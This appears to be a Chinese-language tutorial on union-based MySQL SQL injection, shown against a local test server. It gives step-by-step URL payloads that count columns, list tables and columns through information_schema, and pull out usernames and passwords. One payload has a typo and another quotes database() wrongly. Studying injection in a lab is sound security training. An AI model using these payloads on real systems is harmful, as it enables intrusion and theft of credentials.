MySQL注入
一:寻找注入点
明确请求方法:常用的请求方法有get,post,cookie,http
用“逻辑语句”判断,and 1=1 ,and 1=2(整数型)
用 ' 判断(字符型)
二:判断sql注入是字符型还是数字型
字符型用 ' 闭合
(本文操作是字符型)字符型闭合还有" } "," ] ",'' ) "," % "," " "符号
三:判断字段数
order by关键字判断字段数
字段即是列
如图:上图表中有编号,姓名,工资,性别,年龄 5个字段
字段:我们把表中的每一行叫做一个“记录”,每一个记录包含这行中的所有信息,就像在通讯录数据库中某个人全部的信息,但记录在数据库中并没有专门的记录名,常常用它所在的行数表示这是第几个记录。字段是比记录更小的单位,字段集合组成记录,每个字段描述文献的某一特征,即数据项,并有唯一的供计算机识别的字段标识符。(一般类或结构中定义的变量和常量叫字段。)
http://127.0.0.1/?id=-1' order by 3 %23
如果表中只有3个字段,order by 后的数字大于3页面将返回错误
若%23行不通可以换为--+或#,注意观察url中的编码情况,多余的编码字符都会导致注入失败
确定表中字段数后进行union查询
url注入语句
http://127.0.0.1/?id=-1' union select 1,2,3 %23
后台执行语句
$sql=select * from users where id='-1' union select 1,2,3 #' ;
%23:#的url编码
id=-1:使表中各列为空,回显union select 1,2,3 中的 1,2,3
union:合并两个或多个 SELECT 语句的结果
#:注释符,使后面的语句无效
四:查数据库名
database() MySQL中回显数据库名的函数
version() 查询数据库版本
url注入语句
http://127.0.0.1/?id=-1' union select 1,database(),3 %23
五:查表名
在MySQL5.0以上版本中,MySQL存在一个自带的数据库名为information_schema,它存储所有数据库名,表名,列名,可以通过它来查询数据库下面的表名和列名信息
数据库中的符号"."表示下一级 如:xian.user 表示xian数据库下的user表
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
查询数据库名database()下的表名信息
http://127.0.0.1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='database()' %23
GROUP_CONCAT()
函数是MySQL中的一个聚合函数,它将多行数据按照指定的顺序连接成一个字符串。下面是一个简单的例子:
SELECT GROUP_CONCAT(name) FROM students;
这个查询将会返回一个包含所有学生姓名的字符串,每个姓名之间用逗号分隔。默认情况下,GROUP_CONCAT()
函数使用逗号作为分隔符
六:查列名
查询指定表名table_name下的列名信息:
http://127.0.0.1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' %23
七:查数据(用户名密码等敏感信息)
http://127.0.0.1/?id=-1' union selcet 1,2,group_concat(username,password) from 表名 --+
--+等同于#
在mysql中,“-- ”和“#”都为注释符号,“--”后需要空格才可执行,“+”在url中会被地址解析为空格,但某些时候“+”在传输过程中会发生错误导致后面的语句注释失败